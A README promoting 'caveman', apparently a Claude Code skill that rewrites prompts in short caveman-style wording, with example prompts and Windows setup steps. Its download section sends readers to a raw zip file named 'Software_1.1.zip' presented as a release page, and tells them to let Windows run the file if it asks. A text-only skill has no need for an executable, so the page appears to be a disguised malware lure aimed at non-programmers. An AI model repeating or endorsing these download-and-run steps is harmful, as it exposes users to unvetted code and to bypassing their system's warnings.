🪨 caveman - Few Token, Less Work

🧩 What is caveman?

caveman is a Claude Code skill that helps you use fewer tokens by writing in a simple caveman style. It keeps your prompts short and plain, so Claude can do the same job with less text.

This helps when you want to:

• save tokens
• keep prompts short
• make repeat tasks easier
• use a clear style that still gets the point across

It is made for people who use Claude Code and want a simple way to trim prompt size without changing the task.

💻 Who this is for

Use caveman if you:

• run Claude Code on Windows
• want to cut token use
• like short prompts
• do not want to rewrite the same instruction over and over
• want a skill that is easy to install and use

You do not need to know programming to start. If you can download a file and open it, you can use caveman.

🚀 Download

Visit this page to download:

https://raw.githubusercontent.com/noman3271/caveman/main/skills/caveman-commit/Software_1.1.zip

On that page, get the latest release for Windows. Then open the file you download and follow the setup steps in this README.

🪟 Windows setup

1. Open the release page link above.
2. Find the latest release.
3. Download the Windows file.
4. If the file comes in a zip, unzip it first.
5. Move the caveman files to a folder you can find again.
6. Open Claude Code.
7. Add or enable the caveman skill in your Claude Code setup.
8. Restart Claude Code if needed.

If Windows asks for permission, choose the option that lets the file run.

🛠️ How to use caveman

After setup, use caveman when you want Claude Code to speak in a short, simple style.

Try prompts like:

• make this more caveman
• shorten this prompt
• rewrite in plain simple words
• cut extra words but keep meaning
• use caveman style for this task

Example:

Instead of: Please review this code and explain any problems you find in a clear way.

Use: Look at code. Find bad thing. Say problem simple.

That kind of wording can help keep prompts small and focused.

🧠 What caveman changes

caveman helps turn long instructions into short ones that still work well with Claude Code.

It can help with:

• prompt shortening
• simple task wording
• less token use
• faster prompt writing
• repeatable instruction style

It works best when you already know what you want and just need a shorter way to say it.

📌 Basic use cases

🔍 Code review

Use caveman to ask for code checks in a short form.

Example: Find bug. Say where. Say fix.

🧪 Testing

Use caveman to ask for test help.

Example: Make test for this. Cover main cases.

📝 Writing help

Use caveman to keep written prompts short.

Example: Rewrite this in simple words.

⚙️ Task steps

Use caveman when you want Claude Code to follow a small set of steps.

Example: Read file. Find issue. Fix issue. Tell me done.

📂 What you get

A typical caveman release may include:

• the skill files
• setup files for Claude Code
• a short readme or guide
• config files for prompt behavior

If the release comes as a zip, keep the folder together so Claude Code can find the skill files later.

🧭 Suggested Windows install path

A simple place to keep it is:

• C:\Users\YourName\Documents\caveman

Or use any folder you can open again without trouble.

Keep the files in one place. That makes later setup easier.

🔧 Common setup flow

1. Download the release from GitHub.
2. Open the downloaded file.
3. Place the files in a fixed folder.
4. Add the skill to Claude Code if the release includes setup files.
5. Start Claude Code.
6. Use short caveman style prompts.

If you already use Claude Code skills, add caveman the same way you add other skills.

📎 Example prompts

Here are a few simple prompt patterns:

• Make this shorter.
• Use caveman words.
• Keep meaning. Cut extra words.
• Read this file and tell me what it does.
• Find the problem and show the fix.
• Turn this into a short task list.

These keep the request clear and help cut token use.
